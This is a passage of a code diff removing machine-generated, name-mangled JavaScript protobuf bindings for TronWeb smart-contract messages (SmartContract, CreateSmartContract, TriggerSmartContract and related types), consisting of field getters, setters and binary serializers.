- return _0x4c9339.Message.setProto3BooleanField(this, 2, _0x430602);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.getName = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.setName = function (_0x29464e) {
- return _0x4c9339.Message.setProto3StringField(this, 3, _0x29464e);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.getInputsList = function () {
- return _0x4c9339.Message.getRepeatedWrapperField(this, TronWebProto.SmartContract.ABI.Entry.Param, 4);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.setInputsList = function (_0x307c6b) {
- return _0x4c9339.Message.setRepeatedWrapperField(this, 4, _0x307c6b);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.addInputs = function (_0x557999, _0x14cb90) {
- return _0x4c9339.Message.addToRepeatedWrapperField(this, 4, _0x557999, TronWebProto.SmartContract.ABI.Entry.Param, _0x14cb90);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.clearInputsList = function () {
- return this.setInputsList([]);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.getOutputsList = function () {
- return _0x4c9339.Message.getRepeatedWrapperField(this, TronWebProto.SmartContract.ABI.Entry.Param, 5);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.setOutputsList = function (_0x2e4369) {
- return _0x4c9339.Message.setRepeatedWrapperField(this, 5, _0x2e4369);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.addOutputs = function (_0x13500f, _0xa6abed) {
- return _0x4c9339.Message.addToRepeatedWrapperField(this, 5, _0x13500f, TronWebProto.SmartContract.ABI.Entry.Param, _0xa6abed);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.clearOutputsList = function () {
- return this.setOutputsList([]);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.getType = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 6, 0);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.setType = function (_0x597b58) {
- return _0x4c9339.Message.setProto3EnumField(this, 6, _0x597b58);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.getPayable = function () {
- return _0x4c9339.Message.getBooleanFieldWithDefault(this, 7, false);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.setPayable = function (_0x338aaf) {
- return _0x4c9339.Message.setProto3BooleanField(this, 7, _0x338aaf);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.getStatemutability = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 8, 0);
- };
- TronWebProto.SmartContract.ABI.Entry.prototype.setStatemutability = function (_0x522781) {
- return _0x4c9339.Message.setProto3EnumField(this, 8, _0x522781);
- };
- TronWebProto.SmartContract.ABI.prototype.getEntrysList = function () {
- return _0x4c9339.Message.getRepeatedWrapperField(this, TronWebProto.SmartContract.ABI.Entry, 1);
- };
- TronWebProto.SmartContract.ABI.prototype.setEntrysList = function (_0x1c966b) {
- return _0x4c9339.Message.setRepeatedWrapperField(this, 1, _0x1c966b);
- };
- TronWebProto.SmartContract.ABI.prototype.addEntrys = function (_0x287580, _0x2a568c) {
- return _0x4c9339.Message.addToRepeatedWrapperField(this, 1, _0x287580, TronWebProto.SmartContract.ABI.Entry, _0x2a568c);
- };
- TronWebProto.SmartContract.ABI.prototype.clearEntrysList = function () {
- return this.setEntrysList([]);
- };
- TronWebProto.SmartContract.prototype.getOriginAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.SmartContract.prototype.getOriginAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getOriginAddress());
- };
- TronWebProto.SmartContract.prototype.getOriginAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getOriginAddress());
- };
- TronWebProto.SmartContract.prototype.setOriginAddress = function (_0x146a36) {
- return _0x4c9339.Message.setProto3BytesField(this, 1, _0x146a36);
- };
- TronWebProto.SmartContract.prototype.getContractAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.SmartContract.prototype.getContractAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getContractAddress());
- };
- TronWebProto.SmartContract.prototype.getContractAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getContractAddress());
- };
- TronWebProto.SmartContract.prototype.setContractAddress = function (_0x21493c) {
- return _0x4c9339.Message.setProto3BytesField(this, 2, _0x21493c);
- };
- TronWebProto.SmartContract.prototype.getAbi = function () {
- return _0x4c9339.Message.getWrapperField(this, TronWebProto.SmartContract.ABI, 3);
- };
- TronWebProto.SmartContract.prototype.setAbi = function (_0xb8d5f8) {
- return _0x4c9339.Message.setWrapperField(this, 3, _0xb8d5f8);
- };
- TronWebProto.SmartContract.prototype.clearAbi = function () {
- return this.setAbi(undefined);
- };
- TronWebProto.SmartContract.prototype.hasAbi = function () {
- return null != _0x4c9339.Message.getField(this, 3);
- };
- TronWebProto.SmartContract.prototype.getBytecode = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 4, "");
- };
- TronWebProto.SmartContract.prototype.getBytecode_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getBytecode());
- };
- TronWebProto.SmartContract.prototype.getBytecode_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getBytecode());
- };
- TronWebProto.SmartContract.prototype.setBytecode = function (_0x235518) {
- return _0x4c9339.Message.setProto3BytesField(this, 4, _0x235518);
- };
- TronWebProto.SmartContract.prototype.getCallValue = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.SmartContract.prototype.setCallValue = function (_0x259325) {
- return _0x4c9339.Message.setProto3IntField(this, 5, _0x259325);
- };
- TronWebProto.SmartContract.prototype.getConsumeUserResourcePercent = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 6, 0);
- };
- TronWebProto.SmartContract.prototype.setConsumeUserResourcePercent = function (_0x514a01) {
- return _0x4c9339.Message.setProto3IntField(this, 6, _0x514a01);
- };
- TronWebProto.SmartContract.prototype.getName = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 7, "");
- };
- TronWebProto.SmartContract.prototype.setName = function (_0xf3ee68) {
- return _0x4c9339.Message.setProto3StringField(this, 7, _0xf3ee68);
- };
- TronWebProto.SmartContract.prototype.getOriginEnergyLimit = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 8, 0);
- };
- TronWebProto.SmartContract.prototype.setOriginEnergyLimit = function (_0x37eb31) {
- return _0x4c9339.Message.setProto3IntField(this, 8, _0x37eb31);
- };
- TronWebProto.SmartContract.prototype.getCodeHash = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 9, "");
- };
- TronWebProto.SmartContract.prototype.getCodeHash_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getCodeHash());
- };
- TronWebProto.SmartContract.prototype.getCodeHash_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getCodeHash());
- };
- TronWebProto.SmartContract.prototype.setCodeHash = function (_0x4573e4) {
- return _0x4c9339.Message.setProto3BytesField(this, 9, _0x4573e4);
- };
- TronWebProto.SmartContract.prototype.getTrxHash = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 10, "");
- };
- TronWebProto.SmartContract.prototype.getTrxHash_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getTrxHash());
- };
- TronWebProto.SmartContract.prototype.getTrxHash_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getTrxHash());
- };
- TronWebProto.SmartContract.prototype.setTrxHash = function (_0x5553cf) {
- return _0x4c9339.Message.setProto3BytesField(this, 10, _0x5553cf);
- };
- TronWebProto.SmartContract.prototype.getVersion = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 11, 0);
- };
- TronWebProto.SmartContract.prototype.setVersion = function (_0x23de6b) {
- return _0x4c9339.Message.setProto3IntField(this, 11, _0x23de6b);
- };
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.ContractState.prototype.toObject = function (_0x10b986) {
- return TronWebProto.ContractState.toObject(_0x10b986, this);
- }, TronWebProto.ContractState.toObject = function (_0x134061, _0x4160f8) {
- var _0x5abb24 = {
- energyUsage: _0x4c9339.Message.getFieldWithDefault(_0x4160f8, 1, 0),
- energyFactor: _0x4c9339.Message.getFieldWithDefault(_0x4160f8, 2, 0),
- updateCycle: _0x4c9339.Message.getFieldWithDefault(_0x4160f8, 3, 0)
- };
- _0x134061 && (_0x5abb24.$jspbMessageInstance = _0x4160f8);
- return _0x5abb24;
- });
- TronWebProto.ContractState.deserializeBinary = function (_0x1f712c) {
- var _0x54ff4f = new _0x4c9339.BinaryReader(_0x1f712c);
- var _0x4eebd0 = new TronWebProto.ContractState();
- return TronWebProto.ContractState.deserializeBinaryFromReader(_0x4eebd0, _0x54ff4f);
- };
- TronWebProto.ContractState.deserializeBinaryFromReader = function (_0x5cbde4, _0x401b4f) {
- for (; _0x401b4f.nextField() && !_0x401b4f.isEndGroup();) {
- switch (_0x401b4f.getFieldNumber()) {
- case 1:
- var _0x1d34ba = _0x401b4f.readInt64();
- _0x5cbde4.setEnergyUsage(_0x1d34ba);
- break;
- case 2:
- _0x1d34ba = _0x401b4f.readInt64();
- _0x5cbde4.setEnergyFactor(_0x1d34ba);
- break;
- case 3:
- _0x1d34ba = _0x401b4f.readInt64();
- _0x5cbde4.setUpdateCycle(_0x1d34ba);
- break;
- default:
- _0x401b4f.skipField();
- }
- }
- return _0x5cbde4;
- };
- TronWebProto.ContractState.prototype.serializeBinary = function () {
- var _0x3e542a = new _0x4c9339.BinaryWriter();
- TronWebProto.ContractState.serializeBinaryToWriter(this, _0x3e542a);
- return _0x3e542a.getResultBuffer();
- };
- TronWebProto.ContractState.serializeBinaryToWriter = function (_0x15b89e, _0x7ecf28) {
- var _0x113d03 = undefined;
- 0 !== (_0x113d03 = _0x15b89e.getEnergyUsage()) && _0x7ecf28.writeInt64(1, _0x113d03);
- 0 !== (_0x113d03 = _0x15b89e.getEnergyFactor()) && _0x7ecf28.writeInt64(2, _0x113d03);
- 0 !== (_0x113d03 = _0x15b89e.getUpdateCycle()) && _0x7ecf28.writeInt64(3, _0x113d03);
- };
- TronWebProto.ContractState.prototype.getEnergyUsage = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.ContractState.prototype.setEnergyUsage = function (_0x4298f5) {
- return _0x4c9339.Message.setProto3IntField(this, 1, _0x4298f5);
- };
- TronWebProto.ContractState.prototype.getEnergyFactor = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.ContractState.prototype.setEnergyFactor = function (_0x78bb2a) {
- return _0x4c9339.Message.setProto3IntField(this, 2, _0x78bb2a);
- };
- TronWebProto.ContractState.prototype.getUpdateCycle = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.ContractState.prototype.setUpdateCycle = function (_0xd0940a) {
- return _0x4c9339.Message.setProto3IntField(this, 3, _0xd0940a);
- };
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.CreateSmartContract.prototype.toObject = function (_0x384d4d) {
- return TronWebProto.CreateSmartContract.toObject(_0x384d4d, this);
- }, TronWebProto.CreateSmartContract.toObject = function (_0x302779, _0x5ef1d2) {
- var _0x1d1cf7;
- var _0x1b5435 = {
- ownerAddress: _0x5ef1d2.getOwnerAddress_asB64(),
- newContract: (_0x1d1cf7 = _0x5ef1d2.getNewContract()) && TronWebProto.SmartContract.toObject(_0x302779, _0x1d1cf7),
- callTokenValue: _0x4c9339.Message.getFieldWithDefault(_0x5ef1d2, 3, 0),
- tokenId: _0x4c9339.Message.getFieldWithDefault(_0x5ef1d2, 4, 0)
- };
- _0x302779 && (_0x1b5435.$jspbMessageInstance = _0x5ef1d2);
- return _0x1b5435;
- });
- TronWebProto.CreateSmartContract.deserializeBinary = function (_0x5ea075) {
- var _0x5342c8 = new _0x4c9339.BinaryReader(_0x5ea075);
- var _0x46df87 = new TronWebProto.CreateSmartContract();
- return TronWebProto.CreateSmartContract.deserializeBinaryFromReader(_0x46df87, _0x5342c8);
- };
- TronWebProto.CreateSmartContract.deserializeBinaryFromReader = function (_0x141ebe, _0x2edc9c) {
- for (; _0x2edc9c.nextField() && !_0x2edc9c.isEndGroup();) {
- switch (_0x2edc9c.getFieldNumber()) {
- case 1:
- var _0x390d06 = _0x2edc9c.readBytes();
- _0x141ebe.setOwnerAddress(_0x390d06);
- break;
- case 2:
- _0x390d06 = new TronWebProto.SmartContract();
- _0x2edc9c.readMessage(_0x390d06, TronWebProto.SmartContract.deserializeBinaryFromReader);
- _0x141ebe.setNewContract(_0x390d06);
- break;
- case 3:
- _0x390d06 = _0x2edc9c.readInt64();
- _0x141ebe.setCallTokenValue(_0x390d06);
- break;
- case 4:
- _0x390d06 = _0x2edc9c.readInt64();
- _0x141ebe.setTokenId(_0x390d06);
- break;
- default:
- _0x2edc9c.skipField();
- }
- }
- return _0x141ebe;
- };
- TronWebProto.CreateSmartContract.prototype.serializeBinary = function () {
- var _0x340dab = new _0x4c9339.BinaryWriter();
- TronWebProto.CreateSmartContract.serializeBinaryToWriter(this, _0x340dab);
- return _0x340dab.getResultBuffer();
- };
- TronWebProto.CreateSmartContract.serializeBinaryToWriter = function (_0x35f306, _0x445f48) {
- var _0x5688e9 = undefined;
- (_0x5688e9 = _0x35f306.getOwnerAddress_asU8()).length > 0 && _0x445f48.writeBytes(1, _0x5688e9);
- null != (_0x5688e9 = _0x35f306.getNewContract()) && _0x445f48.writeMessage(2, _0x5688e9, TronWebProto.SmartContract.serializeBinaryToWriter);
- 0 !== (_0x5688e9 = _0x35f306.getCallTokenValue()) && _0x445f48.writeInt64(3, _0x5688e9);
- 0 !== (_0x5688e9 = _0x35f306.getTokenId()) && _0x445f48.writeInt64(4, _0x5688e9);
- };
- TronWebProto.CreateSmartContract.prototype.getOwnerAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.CreateSmartContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.CreateSmartContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.CreateSmartContract.prototype.setOwnerAddress = function (_0x2611e7) {
- return _0x4c9339.Message.setProto3BytesField(this, 1, _0x2611e7);
- };
- TronWebProto.CreateSmartContract.prototype.getNewContract = function () {
- return _0x4c9339.Message.getWrapperField(this, TronWebProto.SmartContract, 2);
- };
- TronWebProto.CreateSmartContract.prototype.setNewContract = function (_0x4681cd) {
- return _0x4c9339.Message.setWrapperField(this, 2, _0x4681cd);
- };
- TronWebProto.CreateSmartContract.prototype.clearNewContract = function () {
- return this.setNewContract(undefined);
- };
- TronWebProto.CreateSmartContract.prototype.hasNewContract = function () {
- return null != _0x4c9339.Message.getField(this, 2);
- };
- TronWebProto.CreateSmartContract.prototype.getCallTokenValue = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.CreateSmartContract.prototype.setCallTokenValue = function (_0x26925a) {
- return _0x4c9339.Message.setProto3IntField(this, 3, _0x26925a);
- };
- TronWebProto.CreateSmartContract.prototype.getTokenId = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.CreateSmartContract.prototype.setTokenId = function (_0x40bbc1) {
- return _0x4c9339.Message.setProto3IntField(this, 4, _0x40bbc1);
- };
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.TriggerSmartContract.prototype.toObject = function (_0x457502) {
- return TronWebProto.TriggerSmartContract.toObject(_0x457502, this);
- }, TronWebProto.TriggerSmartContract.toObject = function (_0x5f4063, _0x8b68be) {
- var _0x35439e = {
- ownerAddress: _0x8b68be.getOwnerAddress_asB64(),
- contractAddress: _0x8b68be.getContractAddress_asB64(),
- callValue: _0x4c9339.Message.getFieldWithDefault(_0x8b68be, 3, 0),
- data: _0x8b68be.getData_asB64(),
- callTokenValue: _0x4c9339.Message.getFieldWithDefault(_0x8b68be, 5, 0),
- tokenId: _0x4c9339.Message.getFieldWithDefault(_0x8b68be, 6, 0)
- };
- _0x5f4063 && (_0x35439e.$jspbMessageInstance = _0x8b68be);
- return _0x35439e;
- });
- TronWebProto.TriggerSmartContract.deserializeBinary = function (_0x5741f3) {
- var _0x3e2e59 = new _0x4c9339.BinaryReader(_0x5741f3);
- var _0x463f25 = new TronWebProto.TriggerSmartContract();
- return TronWebProto.TriggerSmartContract.deserializeBinaryFromReader(_0x463f25, _0x3e2e59);
- };
- TronWebProto.TriggerSmartContract.deserializeBinaryFromReader = function (_0x17e8c2, _0x2e80a3) {
- for (; _0x2e80a3.nextField() && !_0x2e80a3.isEndGroup();) {
- switch (_0x2e80a3.getFieldNumber()) {
- case 1:
- var _0x227530 = _0x2e80a3.readBytes();
- _0x17e8c2.setOwnerAddress(_0x227530);
- break;
- case 2:
- _0x227530 = _0x2e80a3.readBytes();
- _0x17e8c2.setContractAddress(_0x227530);
- break;
- case 3:
- _0x227530 = _0x2e80a3.readInt64();
- _0x17e8c2.setCallValue(_0x227530);
- break;
- case 4:
- _0x227530 = _0x2e80a3.readBytes();
- _0x17e8c2.setData(_0x227530);
- break;
- case 5:
- _0x227530 = _0x2e80a3.readInt64();
- _0x17e8c2.setCallTokenValue(_0x227530);
- break;
- case 6:
- _0x227530 = _0x2e80a3.readInt64();
- _0x17e8c2.setTokenId(_0x227530);
- break;
- default:
- _0x2e80a3.skipField();
- }
- }
- return _0x17e8c2;
- };
- TronWebProto.TriggerSmartContract.prototype.serializeBinary = function () {
- var _0x315263 = new _0x4c9339.BinaryWriter();
- TronWebProto.TriggerSmartContract.serializeBinaryToWriter(this, _0x315263);
- return _0x315263.getResultBuffer();
- };
- TronWebProto.TriggerSmartContract.serializeBinaryToWriter = function (_0x259932, _0x3b1a78) {
- var _0xfc9112 = undefined;
- (_0xfc9112 = _0x259932.getOwnerAddress_asU8()).length > 0 && _0x3b1a78.writeBytes(1, _0xfc9112);
- (_0xfc9112 = _0x259932.getContractAddress_asU8()).length > 0 && _0x3b1a78.writeBytes(2, _0xfc9112);
- 0 !== (_0xfc9112 = _0x259932.getCallValue()) && _0x3b1a78.writeInt64(3, _0xfc9112);
- (_0xfc9112 = _0x259932.getData_asU8()).length > 0 && _0x3b1a78.writeBytes(4, _0xfc9112);
- 0 !== (_0xfc9112 = _0x259932.getCallTokenValue()) && _0x3b1a78.writeInt64(5, _0xfc9112);
- 0 !== (_0xfc9112 = _0x259932.getTokenId()) && _0x3b1a78.writeInt64(6, _0xfc9112);
- };
- TronWebProto.TriggerSmartContract.prototype.getOwnerAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.TriggerSmartContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.TriggerSmartContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.TriggerSmartContract.prototype.setOwnerAddress = function (_0x2804ef) {
- return _0x4c9339.Message.setProto3BytesField(this, 1, _0x2804ef);
- };
- TronWebProto.TriggerSmartContract.prototype.getContractAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.TriggerSmartContract.prototype.getContractAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getContractAddress());
- };
- TronWebProto.TriggerSmartContract.prototype.getContractAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getContractAddress());
- };
- TronWebProto.TriggerSmartContract.prototype.setContractAddress = function (_0x42c404) {
- return _0x4c9339.Message.setProto3BytesField(this, 2, _0x42c404);
- };
- TronWebProto.TriggerSmartContract.prototype.getCallValue = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.TriggerSmartContract.prototype.setCallValue = function (_0x949e73) {
- return _0x4c9339.Message.setProto3IntField(this, 3, _0x949e73);
- };
- TronWebProto.TriggerSmartContract.prototype.getData = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 4, "");
- };
- TronWebProto.TriggerSmartContract.prototype.getData_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getData());
- };
- TronWebProto.TriggerSmartContract.prototype.getData_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getData());
- };
- TronWebProto.TriggerSmartContract.prototype.setData = function (_0x50967b) {
- return _0x4c9339.Message.setProto3BytesField(this, 4, _0x50967b);
- };
- TronWebProto.TriggerSmartContract.prototype.getCallTokenValue = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.TriggerSmartContract.prototype.setCallTokenValue = function (_0x5a4643) {
- return _0x4c9339.Message.setProto3IntField(this, 5, _0x5a4643);
- };
- TronWebProto.TriggerSmartContract.prototype.getTokenId = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 6, 0);
- };
- TronWebProto.TriggerSmartContract.prototype.setTokenId = function (_0x3f6ca1) {
- return _0x4c9339.Message.setProto3IntField(this, 6, _0x3f6ca1);
- };
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.ClearABIContract.prototype.toObject = function (_0x5ce6bf) {
- return TronWebProto.ClearABIContract.toObject(_0x5ce6bf, this);
- }, TronWebProto.ClearABIContract.toObject = function (_0x517c60, _0x1dbbb0) {
- var _0x20e2eb = {
- ownerAddress: _0x1dbbb0.getOwnerAddress_asB64(),
- contractAddress: _0x1dbbb0.getContractAddress_asB64()
- };
- _0x517c60 && (_0x20e2eb.$jspbMessageInstance = _0x1dbbb0);
- return _0x20e2eb;
- });
- TronWebProto.ClearABIContract.deserializeBinary = function (_0x346e5a) {
- var _0x57b9d7 = new _0x4c9339.BinaryReader(_0x346e5a);
- var _0x35558d = new TronWebProto.ClearABIContract();
- return TronWebProto.ClearABIContract.deserializeBinaryFromReader(_0x35558d, _0x57b9d7);
- };
- TronWebProto.ClearABIContract.deserializeBinaryFromReader = function (_0x2b51cb, _0x21efa0) {
- for (; _0x21efa0.nextField() && !_0x21efa0.isEndGroup();) {
- switch (_0x21efa0.getFieldNumber()) {
- case 1:
- var _0xf7f3a2 = _0x21efa0.readBytes();
- _0x2b51cb.setOwnerAddress(_0xf7f3a2);
- break;
- case 2:
- _0xf7f3a2 = _0x21efa0.readBytes();
- _0x2b51cb.setContractAddress(_0xf7f3a2);
- break;
- default:
- _0x21efa0.skipField();
- }
- }
- return _0x2b51cb;
- };
- TronWebProto.ClearABIContract.prototype.serializeBinary = function () {
- var _0x576544 = new _0x4c9339.BinaryWriter();
- TronWebProto.ClearABIContract.serializeBinaryToWriter(this, _0x576544);
- return _0x576544.getResultBuffer();
- };
- TronWebProto.ClearABIContract.serializeBinaryToWriter = function (_0x2375d7, _0x1bf9c7) {
- var _0x2e93cc = undefined;
- (_0x2e93cc = _0x2375d7.getOwnerAddress_asU8()).length > 0 && _0x1bf9c7.writeBytes(1, _0x2e93cc);
- (_0x2e93cc = _0x2375d7.getContractAddress_asU8()).length > 0 && _0x1bf9c7.writeBytes(2, _0x2e93cc);
- };
- TronWebProto.ClearABIContract.prototype.getOwnerAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.ClearABIContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.ClearABIContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.ClearABIContract.prototype.setOwnerAddress = function (_0x20d041) {
- return _0x4c9339.Message.setProto3BytesField(this, 1, _0x20d041);
- };
- TronWebProto.ClearABIContract.prototype.getContractAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.ClearABIContract.prototype.getContractAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getContractAddress());
- };
- TronWebProto.ClearABIContract.prototype.getContractAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getContractAddress());
- };
- TronWebProto.ClearABIContract.prototype.setContractAddress = function (_0x3c5c7b) {
- return _0x4c9339.Message.setProto3BytesField(this, 2, _0x3c5c7b);
- };
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.UpdateSettingContract.prototype.toObject = function (_0x1306a1) {
- return TronWebProto.UpdateSettingContract.toObject(_0x1306a1, this);
- }, TronWebProto.UpdateSettingContract.toObject = function (_0x573fea, _0x4eeaa1) {
- var _0x533c3c = {
- ownerAddress: _0x4eeaa1.getOwnerAddress_asB64(),
- contractAddress: _0x4eeaa1.getContractAddress_asB64(),
- consumeUserResourcePercent: _0x4c9339.Message.getFieldWithDefault(_0x4eeaa1, 3, 0)
- };
- _0x573fea && (_0x533c3c.$jspbMessageInstance = _0x4eeaa1);
- return _0x533c3c;
- });
- TronWebProto.UpdateSettingContract.deserializeBinary = function (_0x4c48bb) {
- var _0x3f3cc1 = new _0x4c9339.BinaryReader(_0x4c48bb);
- var _0x47afb6 = new TronWebProto.UpdateSettingContract();
- return TronWebProto.UpdateSettingContract.deserializeBinaryFromReader(_0x47afb6, _0x3f3cc1);
- };
- TronWebProto.UpdateSettingContract.deserializeBinaryFromReader = function (_0x5e57f0, _0x5e6370) {
- for (; _0x5e6370.nextField() && !_0x5e6370.isEndGroup();) {
- switch (_0x5e6370.getFieldNumber()) {
- case 1:
- var _0x1d18a0 = _0x5e6370.readBytes();
- _0x5e57f0.setOwnerAddress(_0x1d18a0);
- break;
- case 2:
- _0x1d18a0 = _0x5e6370.readBytes();
- _0x5e57f0.setContractAddress(_0x1d18a0);
- break;
- case 3:
- _0x1d18a0 = _0x5e6370.readInt64();
- _0x5e57f0.setConsumeUserResourcePercent(_0x1d18a0);
- break;
- default:
- _0x5e6370.skipField();
- }
- }
- return _0x5e57f0;
- };
- TronWebProto.UpdateSettingContract.prototype.serializeBinary = function () {
- var _0x5c193a = new _0x4c9339.BinaryWriter();
- TronWebProto.UpdateSettingContract.serializeBinaryToWriter(this, _0x5c193a);
- return _0x5c193a.getResultBuffer();
- };
- TronWebProto.UpdateSettingContract.serializeBinaryToWriter = function (_0x3b50cb, _0x4a24d0) {
- var _0x30891e = undefined;
- (_0x30891e = _0x3b50cb.getOwnerAddress_asU8()).length > 0 && _0x4a24d0.writeBytes(1, _0x30891e);
- (_0x30891e = _0x3b50cb.getContractAddress_asU8()).length > 0 && _0x4a24d0.writeBytes(2, _0x30891e);
- 0 !== (_0x30891e = _0x3b50cb.getConsumeUserResourcePercent()) && _0x4a24d0.writeInt64(3, _0x30891e);
- };
- TronWebProto.UpdateSettingContract.prototype.getOwnerAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.UpdateSettingContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.UpdateSettingContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.UpdateSettingContract.prototype.setOwnerAddress = function (_0x1087f3) {
- return _0x4c9339.Message.setProto3BytesField(this, 1, _0x1087f3);
- };
- TronWebProto.UpdateSettingContract.prototype.getContractAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.UpdateSettingContract.prototype.getContractAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getContractAddress());
- };
- TronWebProto.UpdateSettingContract.prototype.getContractAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getContractAddress());
- };
- TronWebProto.UpdateSettingContract.prototype.setContractAddress = function (_0x47a96) {
- return _0x4c9339.Message.setProto3BytesField(this, 2, _0x47a96);
- };
- TronWebProto.UpdateSettingContract.prototype.getConsumeUserResourcePercent = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.UpdateSettingContract.prototype.setConsumeUserResourcePercent = function (_0x3aa6a6) {
- return _0x4c9339.Message.setProto3IntField(this, 3, _0x3aa6a6);
- };
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.UpdateEnergyLimitContract.prototype.toObject = function (_0x23a4af) {
- return TronWebProto.UpdateEnergyLimitContract.toObject(_0x23a4af, this);
- }, TronWebProto.UpdateEnergyLimitContract.toObject = function (_0x450345, _0xc5bbec) {
- var _0x86004e = {
- ownerAddress: _0xc5bbec.getOwnerAddress_asB64(),
- contractAddress: _0xc5bbec.getContractAddress_asB64(),
- originEnergyLimit: _0x4c9339.Message.getFieldWithDefault(_0xc5bbec, 3, 0)
- };
- _0x450345 && (_0x86004e.$jspbMessageInstance = _0xc5bbec);
- return _0x86004e;
- });
- TronWebProto.UpdateEnergyLimitContract.deserializeBinary = function (_0xcfecad) {
- var _0x19ce88 = new _0x4c9339.BinaryReader(_0xcfecad);
- var _0x206d2e = new TronWebProto.UpdateEnergyLimitContract();
- return TronWebProto.UpdateEnergyLimitContract.deserializeBinaryFromReader(_0x206d2e, _0x19ce88);
- };
- TronWebProto.UpdateEnergyLimitContract.deserializeBinaryFromReader = function (_0x419109, _0xaf9d3f) {
- for (; _0xaf9d3f.nextField() && !_0xaf9d3f.isEndGroup();) {
- switch (_0xaf9d3f.getFieldNumber()) {
- case 1:
- var _0x1a6b77 = _0xaf9d3f.readBytes();
